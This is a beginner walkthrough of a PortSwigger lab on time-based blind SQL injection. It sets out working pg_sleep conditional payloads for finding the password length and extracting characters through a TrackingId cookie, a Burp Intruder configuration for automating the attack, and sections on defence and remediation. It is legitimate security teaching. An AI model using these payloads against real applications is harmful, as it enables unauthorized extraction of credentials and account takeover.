Lab: Blind SQL injection with time delays and information retrieval

Lab: Blind SQL injection with time delays and information retrieval

October 16, 2025 8 min read

Beginner-friendly, step-by-step walkthrough: exploit a blind SQL injection using conditional time delays (pg_sleep) via a TrackingId cookie. Includes exact payloads (placeholders), Burp Repeater & Intruder setup, optimizations, troubleshooting, detection recipes and developer remediation.




⚠️ Disclaimer

This write-up is for educational and defensive purposes only. Perform these techniques only in legal, controlled environments such as PortSwigger Web Security Academy or your own authorized testbeds. Do not use these techniques on systems you do not own or have explicit permission to test.


TL;DR

This lab contains a time-based blind SQL injection where the application executes a SQL query synchronously using the value of a TrackingId cookie. The app doesn’t return query results or errors, and pages look the same - however, we can cause the server to delay its response conditionally (using pg_sleep) and measure response time to learn truths about the database. Using this oracle I discovered the administrator password one character at a time and logged in.

Key payload pattern (readable):

TrackingId=x' ; SELECT CASE WHEN (<condition>) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
SQL

URL-encoded example (ready for Repeater):

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
SQL

This guide shows why it works, how I set Burp Repeater and Burp Intruder, optimizations (binary search, ASCII ranges), troubleshooting, detection ideas, and a developer remediation checklist.


1 - Lab goal & mental model

Lab goal (PortSwigger): Use a time-delay blind SQLi against the TrackingId cookie to recover the administrator password, then log in as administrator.

Mental model: The server runs a query that includes your cookie value and responds only after that query completes. If you can make the query sleep for N seconds only when a condition is true, then the response time becomes an oracle: slow = true, fast = false. With this you can test existence, password length, and each character bit by bit.

Why this matters in real life: many production apps hide errors and results. Timing attacks are low-noise and often overlooked, yet they leak high-value data.


2 - Recon: find the injection point

I loaded the lab with Burp Proxy enabled and looked in Proxy → HTTP history. The front-page request contained a cookie header:

GET / HTTP/1.1
Host: <LAB_HOST>
Cookie: TrackingId=<TRACKING_TOKEN>; session=<SESSION_ID>
...
SQL

Because TrackingId is user-controllable, it’s a likely candidate. I sent that request to Repeater to experiment.

Captured front-page request with TrackingId cookie.


3 - Confirming a time-based oracle (basic tests)

First, test whether the server will sleep/slow for a crafted payload. In Repeater I used a payload that forces a 10-second delay when the condition is true:

Human-readable (for clarity):

TrackingId=x' ; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
SQL

URL-encoded (safe to paste into cookie header):

TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
SQL

After sending this request, I measured the response time - roughly 10,000 ms (10 seconds). Then I sent the payload with 1=2 and observed an immediate response. This confirms a timing oracle exists.

Beginner tip: Use a noticeably large sleep (8–10s) when testing, so network jitter doesn’t cause false positives. Lower it for speed once confirmed.

Repeater request showing a 'pg_sleep(10)' payload with a response time of approximately 10,188 ms, indicating a successful time-delay.


4 - Confirming target row & simple existence checks

Next I verified the users table and the administrator row exist:

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
SQL

This caused a 10s delay - the condition is true. So: users table exists and contains administrator.

Repeater request confirming the existence of the 'administrator' username, resulting in an approximate 10,200 ms response time.


5 - Discovering password length

To bound extraction we first determine password length. I used Repeater and sent multiple requests testing LENGTH(password) > N:

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
SQL

I incremented N until the delay stopped - the last N where delay occurred indicates length > N. In this lab the password length was 20. For real tests prefer a binary search (test >8, >16, etc.) to reduce requests.

Binary search tip: if you suspect length ≤ 40, binary search finds it in ~6 requests instead of 20.

Series of Repeater requests performing password length checks (e.g., LENGTH(password) > N) showing the true/false boundaries through varying response times, highlighting when the length is identified as 20.


6 - Character extraction strategy (overview)

With the length known, extract each character by testing SUBSTRING(password, pos, 1) = 'x' for all possible characters. PortSwigger hints lowercase alphanumeric (a–z,0–9) - 36 possibilities per position.

Character test (URL-encoded for cookie header):

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
SQL

If response time ~10s → character = 'a'. Repeat for all characters and positions. Doing this manually is slow, so we use Burp Intruder.

Burp Repeater request with a SUBSTRING-based payload, prepared with '§a§' markers, and a right-click context menu showing "Send to Intruder".


7 - Burp Intruder: precise setup for timing attacks

Automation is essential. Here is the step-by-step Intruder setup I used (and recommend):

  1. Send request to Intruder: In Repeater after verifying a single test, right-click → Send to Intruder.
  2. Positions tab: In the TrackingId cookie value, replace the tested character with §a§ and set the position number (pos) manually in the payload string (or use two markers if you want to cluster-bomb positions & chars). Example cookie value for position 1:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
SQL
  1. Payload type: Choose Simple list and paste az then 09.
  2. Resource pool (single-threaded): This is critical. Timing attacks need reliable timing; use a resource pool with Maximum concurrent requests = 1 (Resource pool → Add → limit 1). Assign the attack to this pool.
  3. Attack settings: Low concurrency, a short timeout slightly higher than your sleep (e.g., 15s if sleep=10s).
  4. Launch: Start the attack. Watch the Response received or Time (ms) column. A value ~10,000 ms signals a hit.
  5. Iterate: Change the 1 to 2 for the second character and repeat until all positions done.

Why single-threaded? Parallel requests can overlap and skew timing measurements. Running one at a time gives clean timing results.

Burp Intruder settings screenshot showing the payload list (a-z, 0-9) configured and the Resource pool with concurrency set to 1, highlighted for time-based attacks.

Burp Intruder results showing one row with a significantly large response time (e.g., ~10000 ms), indicating the correct character for the current position in the password.


8 - Optimizations (speed & reliability)

  • Binary search on character code: instead of testing 36 values per position, test ranges using ASCII(SUBSTRING(...)) > X to cut tests to ~6 per position. Example:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+ASCII(SUBSTRING(password,1,1))>109)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
SQL
  • Reduce sleep time after confirm: After a couple of successful tests, drop sleep to 4–6s to speed up extraction (but keep enough headroom vs network jitter).
  • Use a smaller charset if confirmed: If you discover character distribution (only lowercase), don’t test uppercase symbols.
  • Retry logic: For any ambiguous timing (near threshold), retry the single test a couple of times to avoid false positives.

9 - Troubleshooting common issues

Symptom Cause Fix
No measurable delay Payload not reaching DB or pg_sleep blocked Verify payload executes in Repeater; try different injection syntax or check for filtering
Small timing variance around threshold Network jitter or parallel requests Increase sleep to 10s for tests; use resource pool = 1
WAF / IDS blocking Defense detected high latency patterns Slow down requests, coordinate with ops for authorized tests
SUBSTRING not supported Different DB flavor/func Use POSITION/SUBSTR or DB-specific functions (adapt syntax)
Too slow overall Large length and charset Use binary search or ASCII range method

Always verify a single position manually in Repeater before running a full Intruder attack.


10 - Logging in & verification

After assembling the full password from all positions, I used a standard login POST to confirm the credentials:

POST /login HTTP/1.1
Host: <LAB_HOST>
Content-Type: application/x-www-form-urlencoded

username=administrator&password=<RECOVERED_PASSWORD>
SQL

Success = lab solved (lab shows admin page / congratulations). In public reports, redact the actual password and only provide redacted evidence.

Screenshot of a notepad or text editor showing the gradually assembled password for the administrator account, with sensitive parts redacted.

Screenshot showing a successful login POST request using the recovered admin password, followed by the PortSwigger lab solved banner.


11 - Defensive perspective (how to stop timing attacks)

This is the essential section for devs & ops - actionable fixes:

  1. Parameterized queries: The definitive fix - never interpolate cookie values into SQL. Use prepared statements/bind parameters.
  2. Input validation / whitelist: For TrackingId, accept only expected formats (UUID, signed token) and reject characters like ', ;, --.
  3. Least privilege DB account: The web front-end user should not be able to read sensitive tables (users).
  4. Consistent responses: Avoid conditional response behavior that varies in time or content based on queries. If possible, return quickly and handle long ops asynchronously.
  5. WAF / rate limits: Detect repeated timing probes and throttle or block. Monitor for repeated cookie permutations.
  6. Monitoring: Alert on unusual latency patterns correlated with suspicious parameter values.
  7. Testing: Add automated timing-probe tests in staging and fail pipelines if time-based or boolean oracles appear.

12 - Real-world impact & case studies

  • Quiet exfiltration: Attackers can extract credentials slowly over days, staying under detection thresholds.
  • Pivoting: Retrieved credentials often allow access to internal tooling or admin areas, enabling further compromise.
  • Mitigation example: A SaaS company fixed a timing-based leak by parameterizing queries, rotating credentials, and throttling requests - this stopped an ongoing low-volume exfil attempt.

These show why even “low-bandwidth” timing oracles are high-risk.


13 - Reporting & remediation checklist (copy-paste)

  • Replace dynamic SQL in endpoints/cookies with parameterized queries.
  • Validate and canonicalize cookie formats.
  • Restrict DB user privileges for the web app.
  • Implement WAF rules to identify timing probes (pg_sleep, SLEEP, WAITFOR).
  • Add staging tests that probe boolean/time-based SQLi.
  • Redact DB errors from public responses and log them safely server-side.

14 - Final thoughts

Time-based blind SQLi is methodical but straightforward. The lab teaches patience, careful measurement, and how small control over execution flow (a sleep) becomes a powerful oracle. The fixes are simple and should be prioritized: parameterize, validate, limit privileges, and monitor.


References

  • PortSwigger Web Security Academy - Time-based blind SQL injection labs.
  • OWASP - SQL Injection Prevention Cheat Sheet.
  • Burp Suite docs - Intruder resource pools and timing measurement.

Join the Security Intel.

Get weekly VAPT techniques, ethical hacking tools, and zero-day analysis delivered to your inbox.

Weekly Updates No Spam
Herish Chaniyara

Herish Chaniyara

Web Application Penetration Tester (VAPT) & Security Researcher. A Gold Microsoft Student Ambassador and PortSwigger Hall of Fame (#59) member dedicated to securing the web.

Read Next

View all posts

For any queries or professional discussions: herish.chaniyara@gmail.com